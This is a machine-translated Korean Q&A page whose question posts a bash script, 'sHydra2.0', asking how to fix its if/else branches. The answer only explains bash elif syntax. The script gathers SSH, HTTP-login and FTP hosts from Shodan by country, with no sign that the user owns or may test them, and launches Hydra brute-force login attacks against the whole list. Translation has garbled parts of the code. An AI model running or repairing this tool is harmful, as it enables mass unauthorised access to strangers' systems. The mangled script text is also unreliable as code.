스크립트에서 선택 항목을 추가로 구현해야 하므로 3이 작업을 수행합니다. [닫기]

스크립트에서 선택 항목을 추가로 구현해야 하므로 3이 작업을 수행합니다. [닫기]

#!/bin/bash Figlet -w 100 SHydra2.0 echo "sHydra2.0이 초기화 중입니다." echo "책임감 있게 사용하세요." echo "귀하의 잘못된 결정에 대해 저는 책임을 지지 않습니다." /bin/sleep 10 #!/bin /세게 때리다

echo -en "선택하세요:\n\t1.SSH-Brute\n\t2.HTTP-Brute\n\t3.FTP-Brute\n\t선택하세요:" read VAR

만약 [[ $VAR = 1 ]]이면

원본 코드 다운##

Shodan의 API 키 요청

echo "SSH-Brute 선택" /bin/sleep 5 echo "Shodan API 키 입력" read -p'API:' uservar

echo "2자리 국가 코드를 입력하세요....info@https://www.nationsonline.org/oneworld/country_code_list.htm" read -p '국가 코드:' countvar

echo "사용자 이름 목록의 절대 경로를 입력하세요. 예: /usr/share/wordlists/..etc" read -p '사용자 이름 목록 경로:' ulvar

echo "비밀번호 목록의 절대 경로를 입력하세요. 예: /usr/share/wordlists/...etc" read -p '비밀번호 목록:' pwvar

echo "SSH-Brute 초기화" shodan init $uservar

shodan 검색 기능을 사용하여 포트 22를 찾고 사용 가능한 IP 주소를 grep하여 파일로 출력합니다.

shodan 검색 포트: 22, 국가: $countvar | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0 -9]{1,3}' > $1 ;sort $1 -u > $1 |

wc -l <​​ $1 && echo "SSH 대상이 로드됨"

/bin/sleep 5 echo "대상이 범위 내에 있습니다!" /bin/sleep 5 echo "부팅 시퀀스가 ​​곧 시작됩니다..." echo "두렵다면 지금 중단하세요!"

/bin/sleep 5 read -rsn1 -p "중단할 마지막 기회입니다. 계속하려면 아무 키나 누르십시오" echo 변수;

##카운트다운 함수 초=10; date1=$(( date +%s+ $seconds)); while [ "$date1" -ge date +%s] do echo -ne "$(date -u --date @$(($date1 - date +%s) ) +%H:%M:%S)\r";완료

##notifiers## read -rsn1 -p "등록한 내용을 알고 있습니다. 계속하려면 아무 키나 누르십시오." 변수; echo echo "지금 시작"

Hydra 명령이 작동하지 않으면 절대 경로를 사용자 이름 목록과 비밀번호 목록으로 변경하세요##

Hydra -L $ulvar -P $pwvar -M $1 -o $2 -t 4 ssh ##파일을 현재 디렉터리에 출력# echo "파일 저장 위치: ${PWD}" fi

else if [[ $VAR = 2 ]] then #http Brute 부분적으로 새로운 기능입니다!

Shodan의 API 키 요청

/bin/sleep 5 echo "HTTP-Brute 진행 중" /bin/sleep 5 echo "Shodan API 키 입력" read -p'API:' uservar /bin/sleep 5 echo "2자리 국가/지역 코드를 입력하세요. .. .info@https://www.nationsonline.org/oneworld/country_code_list.htm" read -p '국가 코드:' countvar

echo "사용자 이름 목록의 절대 경로를 입력하세요. 예: /usr/share/wordlists/..etc" read -p '사용자 이름 목록 경로:' ulvar

echo "비밀번호 목록의 절대 경로를 입력하세요. 예: /usr/share/wordlists/...etc" read -p '비밀번호 목록:' pwvar

echo "HTTP 대상이 초기화 중입니다." shodan init $uservar

shodan 검색 기능을 사용하여 포트 22를 찾고 사용 가능한 IP 주소를 grep하여 파일로 출력합니다.

shodan 검색 포트: 80, 로그인, 국가: $countvar,200 | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3 }.[0-9]{1,3}' > $1 ; $1 정렬 -u > $1

wc -l <​​ $1 && echo "HTTP 대상이 로드됨"

/bin/sleep 5 echo "HTTP 대상이 범위 내에 있습니다!" /bin/sleep 5 echo "시작 순서가 곧 시작됩니다..." echo "두렵다면 지금 중단하세요!"

/bin/sleep 10 read -rsn1 -p "중단할 마지막 기회입니다. 계속하려면 아무 키나 누르십시오" echo 변수;

##카운트다운 함수 초=10; date1=$(( date +%s+ $seconds)); while [ "$date1" -ge date +%s] do echo -ne "$(date -u --date @$(($date1 - date +%s) ) +%H:%M:%S)\r";완료

##notifiers## read -rsn1 -p "등록한 내용을 알고 있습니다. 계속하려면 아무 키나 누르십시오." 변수; echo echo "지금 시작"

Hydra 명령이 작동하지 않으면 절대 경로를 사용자 이름 목록과 비밀번호 목록으로 변경하세요##

Hydra -L $ulvar -vV -P $pwvar http-get-form -M $1 -o $2 -t 4 ##현재 디렉터리에 파일을 출력합니다# echo "파일이 저장되는 위치: ${PWD}" fi

###FTP 기능## else if [[ $VAR = 3 ]] then #FTP 새로운 기능!

Shodan의 API 키 요청

/bin/sleep 5 echo "FTP-Brute 진행 중" /bin/sleep 5 echo "Shodan API 키 입력" read -p'API:' uservar /bin/sleep 5 echo "2자리 국가/지역 코드를 입력하세요. .. .info@https://www.nationsonline.org/oneworld/country_code_list.htm" read -p '국가 코드:' countvar

echo "사용자 이름 목록의 절대 경로를 입력하세요. 예: /usr/share/wordlists/..etc" read -p '사용자 이름 목록 경로:' ulvar

echo "비밀번호 목록의 절대 경로를 입력하세요. 예: /usr/share/wordlists/...etc" read -p '비밀번호 목록:' pwvar

echo "HTTP 대상이 초기화 중입니다." shodan init $uservar

shodan 검색 기능을 사용하여 포트 22를 찾고 사용 가능한 IP 주소를 grep하여 파일로 출력합니다.

shodan 검색 포트: 80, 로그인, 국가: $countvar,200 | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3 }.[0-9]{1,3}' > $1 ; $1 정렬 -u > $1

wc -l <​​ $1 && echo "HTTP 대상이 로드됨"

/bin/sleep 5 echo "HTTP 대상이 범위 내에 있습니다!" /bin/sleep 5 echo "시작 순서가 곧 시작됩니다..." echo "두렵다면 지금 중단하세요!" -rsn1 -p "중단할 마지막 기회입니다. 계속하려면 아무 키나 누르십시오" echo 변수;

##카운트다운 함수 초=10; date1=$(( date +%s+ $seconds)); while [ "$date1" -ge date +%s] do echo -ne "$(date -u --date @$(($date1 - date +%s) ) +%H:%M:%S)\r";완료

##notifiers## read -rsn1 -p "등록한 내용을 알고 있습니다. 계속하려면 아무 키나 누르십시오." 변수; echo echo "지금 시작"

Hydra 명령이 작동하지 않으면 절대 경로를 사용자 이름 목록과 비밀번호 목록으로 변경하세요##

Hydra -L $ulvar -vV -P $pwvar http-get-form -M $1 -o $2 -t 4 ##현재 디렉터리에 파일을 출력합니다# echo "파일이 저장되는 위치: ${PWD}" fi

답변1

Bash에서 if 문의 기본 구문은 다음과 같습니다.

if ...; then
  statement
elif ...; then
  statement
else
  statement
fi

예를 들어:

if [ ! "$FOO" ]; then
  echo "Foo is not set."
elif [ "$FOO" = "yes" ]; then
  echo "Foo equals 'yes'."
else
  echo "Foo is set but does not equal 'yes'.";
fi

elif(else-if) 및 절이 필요하지 않은 경우 생략할 수 있습니다.else

if [ "$FOO" = "yes" ]; then
      echo "Foo equals 'yes'."
fi

어떤 사람들은 if 절 끝에 ";then"을 사용하지 않고 약간 다른 형식을 선호합니다.

if [ "$FOO" = "yes" ]
then
  echo "Foo equals 'yes'."
fi

관련 정보